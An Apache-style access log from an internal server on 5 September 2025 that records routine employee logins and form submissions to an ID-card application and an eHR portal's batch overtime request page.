192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/login.swf HTTP/1.1" 200 2760
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/login.swf HTTP/1.1" 200 2760 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406
192.168.11.222 - - [05/Sep/2025:10:59:17 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:18 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406
192.168.11.222 - - [05/Sep/2025:10:59:18 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [05/Sep/2025:10:59:18 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406
192.168.11.222 - - [05/Sep/2025:10:59:18 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [05/Sep/2025:10:59:19 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480
192.168.11.222 - - [05/Sep/2025:10:59:19 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:21 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:21 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.222 - - [05/Sep/2025:10:59:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.222 - - [05/Sep/2025:10:59:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:22 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:22 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.222 - - [05/Sep/2025:10:59:27 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088
192.168.11.222 - - [05/Sep/2025:10:59:27 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50906 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:28 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50906
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [05/Sep/2025:10:59:29 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:10:59:30 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [05/Sep/2025:10:59:30 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:11:00:33 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:11:00:33 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52
192.168.11.148 - - [05/Sep/2025:11:00:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:11:00:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.222 - - [05/Sep/2025:11:00:48 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:11:00:48 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.148 - - [05/Sep/2025:11:00:56 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26597265573264695 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:11:00:56 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26597265573264695 HTTP/1.1" 200 10228
192.168.11.222 - - [05/Sep/2025:11:01:00 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180
192.168.11.222 - - [05/Sep/2025:11:01:00 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.148 - - [05/Sep/2025:11:01:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26597265573264695 HTTP/1.1" 200 12402
192.168.11.148 - - [05/Sep/2025:11:01:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26597265573264695 HTTP/1.1" 200 12402 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26597265573264695" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.222 - - [05/Sep/2025:11:01:09 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 4283 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:11:01:09 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 4283
192.168.11.71 - - [05/Sep/2025:11:01:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:11:01:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.71 - - [05/Sep/2025:11:01:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.71 - - [05/Sep/2025:11:01:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.148 - - [05/Sep/2025:11:01:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
192.168.11.148 - - [05/Sep/2025:11:01:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.71 - - [05/Sep/2025:11:01:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.71 - - [05/Sep/2025:11:01:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:11:01:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:11:01:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.71 - - [05/Sep/2025:11:01:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.71 - - [05/Sep/2025:11:01:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:11:01:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.71 - - [05/Sep/2025:11:01:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:11:01:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.71 - - [05/Sep/2025:11:01:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:11:01:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8076234418365182 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:11:01:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8076234418365182 HTTP/1.1" 200 10228
192.168.11.71 - - [05/Sep/2025:11:01:46 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8076234418365182 HTTP/1.1" 200 12400
192.168.11.71 - - [05/Sep/2025:11:01:46 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8076234418365182 HTTP/1.1" 200 12400 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8076234418365182" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [05/Sep/2025:11:01:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4067
192.168.11.71 - - [05/Sep/2025:11:01:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4067 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.222 - - [05/Sep/2025:11:02:10 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [05/Sep/2025:11:02:10 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:11:02:11 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136
192.168.11.222 - - [05/Sep/2025:11:02:11 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:11:02:25 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:11:02:25 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52
192.168.11.222 - - [05/Sep/2025:11:02:57 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 6833 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
